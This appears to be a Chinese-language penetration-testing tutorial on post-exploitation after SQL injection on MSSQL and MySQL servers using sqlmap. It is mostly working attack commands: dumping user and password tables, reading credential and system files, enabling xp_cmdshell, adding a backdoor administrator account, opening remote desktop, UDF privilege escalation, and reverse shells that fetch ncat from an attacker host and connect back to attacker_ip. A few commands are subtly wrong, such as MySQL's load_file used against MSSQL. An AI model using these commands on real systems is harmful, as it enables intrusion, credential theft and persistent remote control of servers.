拿到SQL注入点后如何进一步利用?本文记录在MSSQL环境下通过sqlmap获取sql-shell后的常见操作,包括信息收集、权限判断、xp_cmdshell执行命令、以及os-shell的使用。

0x00 sqlmap基础注入

# 获取当前用户
sqlmap -r request.txt --current-user

# 列出数据库
sqlmap -r request.txt --dbs

# 列出指定数据库的表
sqlmap -r request.txt -D target_db --tables

# 列出指定表的列
sqlmap -r request.txt -D target_db -T users --columns

# 导出数据
sqlmap -r request.txt -D target_db -T users -C id,username,password --dump

# 读取服务器文件
sqlmap -r request.txt --file-read="/etc/passwd"

0x01 sql-shell信息收集

进入sql-shell后,可以执行SQL语句进行信息收集:

数据库版本和系统信息

-- 查看数据库版本
sql-shell> select @@version
'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
Apr  2 2010 15:48:46
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)'

-- 查看当前用户
sql-shell> select user_name()
sql-shell> select system_user

判断SA权限

-- 返回1表示当前用户是sysadmin角色
sql-shell> select IS_SRVROLEMEMBER('sysadmin')
select IS_SRVROLEMEMBER('sysadmin'):    '1'

IS_SRVROLEMEMBER('sysadmin')返回1说明当前用户拥有SA权限,可以执行xp_cmdshell等高权限操作。

判断xp_cmdshell是否存在

-- 检查xp_cmdshell扩展存储过程
sql-shell> select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
select count(*):    '1'

返回结果不为0即说明存在xp_cmdshell扩展存储过程。

列出数据库

-- 列出所有数据库
sql-shell> SELECT name FROM master..sysdatabases

-- 列出当前数据库的表
sql-shell> SELECT name FROM sysobjects WHERE xtype='U'

-- 列出表中的列
sql-shell> SELECT name FROM syscolumns WHERE id=OBJECT_ID('tablename')

读取文件

-- 读取服务器文件
sql-shell> select load_file('C:\\Windows\\System32\\drivers\\etc\\hosts')

-- 使用sqlmap的file-read
sqlmap -r request.txt --file-read="C:\Windows\win.ini"

0x02 xp_cmdshell执行命令

当确认存在SA权限和xp_cmdshell时,可以直接执行系统命令:

-- 执行系统命令
sql-shell> Exec master..xp_cmdshell 'whoami';

遇到的问题:stacked queries不支持

sql-shell> Exec master..xp_cmdshell 'whoami';
[WARNING] execution of non-query SQL statements is only available when stacked queries are supported

原因:sqlmap的sql-shell模式下,EXEC等非查询语句需要支持stacked queries(堆叠查询)。如果目标不支持stacked queries,sqlmap无法直接执行xp_cmdshell。

解决方案

  1. 使用--os-shell代替sql-shell
  2. 使用--sql-shell配合OPENROWSET等技巧
  3. 直接使用sqlmap的--os-cmd参数

启用xp_cmdshell

如果xp_cmdshell被禁用,需要先启用:

-- 启用高级配置选项
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

常见命令执行

# 查看当前权限
Exec master..xp_cmdshell 'whoami';

# 查看网络配置
Exec master..xp_cmdshell 'ipconfig /all';

# 查看用户列表
Exec master..xp_cmdshell 'net user';

# 添加管理员用户
Exec master..xp_cmdshell 'net user hacker P@ssw0rd /add';
Exec master..xp_cmdshell 'net localgroup administrators hacker /add';

# 开启3389远程桌面
Exec master..xp_cmdshell 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f';

0x03 os-shell使用

sqlmap的os-shell模式可以更方便地执行命令:

sqlmap -r request.txt --os-shell

# 或者指定技术
sqlmap -r request.txt --os-shell --technique=EU

os-shell原理:

  1. 上传一个WebShell到服务器(通常利用INTO OUTFILExp_cmdshell写文件)
  2. 通过WebShell执行命令

注意:os-shell需要目标Web目录可写,且知道Web根目录的绝对路径。

0x04 MySQL UDF提权

当目标为MySQL时,可以通过UDF(用户自定义函数)提权:

-- 查看插件目录
sql-shell> show variables like '%plugin%';

-- 写入UDF DLL
sql-shell> SELECT unhex('hex_content') INTO DUMPFILE 'C:/phpStudy/MySQL/lib/plugin/udf.dll';

-- 创建自定义函数
sql-shell> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

-- 执行系统命令
sql-shell> SELECT sys_eval('whoami');

sqlmap方式:

# 直接通过sqlmap的MySQL连接
sqlmap -d "mysql://root:password@target:3306/test" --os-shell

0x05 文件读取

# MSSQL - 使用sqlmap读取文件
sqlmap -r request.txt --file-read="C:\Windows\System32\drivers\etc\hosts"
sqlmap -r request.txt --file-read="C:\Windows\win.ini"

# sql-shell方式
sql-shell> select load_file('C:\\Windows\\win.ini')

# MySQL方式
sql-shell> SELECT LOAD_FILE('/etc/passwd')

0x06 反弹Shell

拿到命令执行权限后,反弹shell到攻击机:

MSSQL反弹

# 使用ncat反弹
Exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString("http://attacker/ncat.exe") -o ncat.exe & ncat.exe -e cmd.exe attacker_ip 4444'

# 使用certutil下载工具
Exec master..xp_cmdshell 'certutil -urlcache -split -f http://attacker/ncat.exe C:\Windows\Temp\ncat.exe & C:\Windows\Temp\ncat.exe -e cmd.exe attacker_ip 4444'

攻击机监听

nc -lvnp 4444

参考

以上。